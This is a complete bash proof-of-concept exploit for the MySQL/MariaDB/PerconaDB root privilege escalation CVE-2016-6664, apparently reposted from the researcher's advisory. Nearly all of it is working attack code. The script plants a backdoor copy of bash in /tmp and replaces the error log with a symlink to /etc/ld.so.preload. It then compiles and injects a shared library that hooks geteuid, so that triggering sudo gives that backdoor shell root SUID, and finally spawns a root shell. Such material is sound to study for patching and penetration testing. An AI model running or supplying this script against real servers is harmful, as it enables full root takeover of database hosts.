MySQL / MariaDB / PerconaDB 5.5.x/5.6.x/5.7.x – ‘root’ System User Privilege Escalation
#!/bin/bash -p # # Source: https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html // http://legalhackers.com/exploits/CVE-2016-6664/mysql-chowned.sh # # MySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit # mysql-chowned.sh (ver. 1.0) # # CVE-2016-6664 / OCVE-2016-5617 # # Discovered and coded by: # # Dawid Golunski # dawid[at]legalhackers.com # # https://legalhackers.com # # Follow https://twitter.com/dawid_golunski for updates on this advisory. # # This PoC exploit allows attackers to (instantly) escalate their privileges # from mysql system account to root through unsafe error log handling. # The exploit requires that file-based logging has been configured (default). # To confirm that syslog logging has not been enabled instead use: # grep -r syslog /etc/mysql # which should return no results. # # This exploit can be chained with the following vulnerability: # CVE-2016-6663 / OCVE-2016-5616 # which allows attackers to gain access to mysql system account (mysql shell). # # In case database server has been configured with syslog you may also use: # CVE-2016-6662 as an alternative to this exploit. # # Usage: # ./mysql-chowned.sh path_to_error.log # # # See the full advisory for details at: # https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html # # Video PoC: # https://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html # # # Disclaimer: # For testing purposes only. Do no harm. # BACKDOORSH="/bin/bash" BACKDOORPATH="/tmp/mysqlrootsh" PRIVESCLIB="/tmp/privesclib.so" PRIVESCSRC="/tmp/privesclib.c" SUIDBIN="/usr/bin/sudo" function cleanexit { # Cleanup echo -e "\n[+] Cleaning up..." rm -f $PRIVESCSRC rm -f $PRIVESCLIB rm -f $ERRORLOG touch $ERRORLOG if [ -f /etc/ld.so.preload ]; then echo -n > /etc/ld.so.preload fi echo -e "\n[+] Job done. Exiting with code $1 \n" exit $1 } function ctrl_c() { echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred switch for deferred exploitation." cleanexit 0 } #intro echo -e "\033[94m \nMySQL / MariaDB / PerconaDB - Root Privilege Escalation PoC Exploit \nmysql-chowned.sh (ver. 1.0)\n\nCVE-2016-6664 / OCVE-2016-5617\n" echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \033[0m" # Args if [ $# -lt 1 ]; then echo -e "\n[!] Exploit usage: \n\n$0 path_to_error.log \n" echo -e "It seems that this server uses: `ps aux | grep mysql | awk -F'log-error=' '{ print $2 }' | cut -d' ' -f1 | grep '/'`\n" exit 3 fi # Priv check echo -e "\n[+] Starting the exploit as \n\033[94m`id`\033[0m" id | grep -q mysql if [ $? -ne 0 ]; then echo -e "\n[!] You need to execute the exploit as mysql user! Exiting.\n" exit 3 fi # Set target paths ERRORLOG="$1" if [ ! -f $ERRORLOG ]; then echo -e "\n[!] The specified MySQL catalina.out log ($ERRORLOG) doesn't exist. Try again.\n" exit 3 fi echo -e "\n[+] Target MySQL log file set to $ERRORLOG" # [ Active exploitation ] trap ctrl_c INT # Compile privesc preload library echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)" cat <<_solibeof_>$PRIVESCSRC #define _GNU_SOURCE #include <stdio.h> #include <sys/stat.h> #include <unistd.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> uid_t geteuid(void) { static uid_t (*old_geteuid)(); old_geteuid = dlsym(RTLD_NEXT, "geteuid"); if ( old_geteuid() == 0 ) { chown("$BACKDOORPATH", 0, 0); chmod("$BACKDOORPATH", 04777); //unlink("/etc/ld.so.preload"); } return old_geteuid(); } _solibeof_ /bin/bash -c "gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl" if [ $? -ne 0 ]; then echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC." cleanexit 2; fi # Prepare backdoor shell cp $BACKDOORSH $BACKDOORPATH echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`" # Safety check if [ -f /etc/ld.so.preload ]; then echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety." exit 2 fi # Symlink the log file to /etc rm -f $ERRORLOG && ln -s /etc/ld.so.preload $ERRORLOG if [ $? -ne 0 ]; then echo -e "\n[!] Couldn't remove the $ERRORLOG file or create a symlink." cleanexit 3 fi echo -e "\n[+] Symlink created at: \n`ls -l $ERRORLOG`" # Wait for MySQL to re-open the logs echo -ne "\n[+] Waiting for MySQL to re-open the logs/MySQL service restart...\n" read -p "Do you want to kill mysqld process to instantly get root? :) ? [y/n] " THE_ANSWER if [ "$THE_ANSWER" = "y" ]; then echo -e "Got it. Executing 'killall mysqld' now..." killall mysqld fi while :; do sleep 0.1 if [ -f /etc/ld.so.preload ]; then echo $PRIVESCLIB > /etc/ld.so.preload rm -f $ERRORLOG break; fi done # /etc/ dir should be owned by mysql user at this point # Inject the privesc.so shared library to escalate privileges echo $PRIVESCLIB > /etc/ld.so.preload echo -e "\n[+] MySQL restarted. The /etc/ld.so.preload file got created with mysql privileges: \n`ls -l /etc/ld.so.preload`" echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload" echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload`" chmod 755 /etc/ld.so.preload # Escalating privileges via the SUID binary (e.g. /usr/bin/sudo) echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!" sudo 2>/dev/null >/dev/null #while :; do # sleep 0.1 # ps aux | grep mysqld | grep -q 'log-error' # if [ $? -eq 0 ]; then # break; # fi #done # Check for the rootshell ls -l $BACKDOORPATH ls -l $BACKDOORPATH | grep rws | grep -q root if [ $? -eq 0 ]; then echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPATH`" echo -e "\n\033[94mGot root! The database server has been ch-OWNED !\033[0m" else echo -e "\n[!] Failed to get root" cleanexit 2 fi # Execute the rootshell echo -e "\n[+] Spawning the rootshell $BACKDOORPATH now! \n" $BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB" $BACKDOORPATH -p # Job done. cleanexit 0 |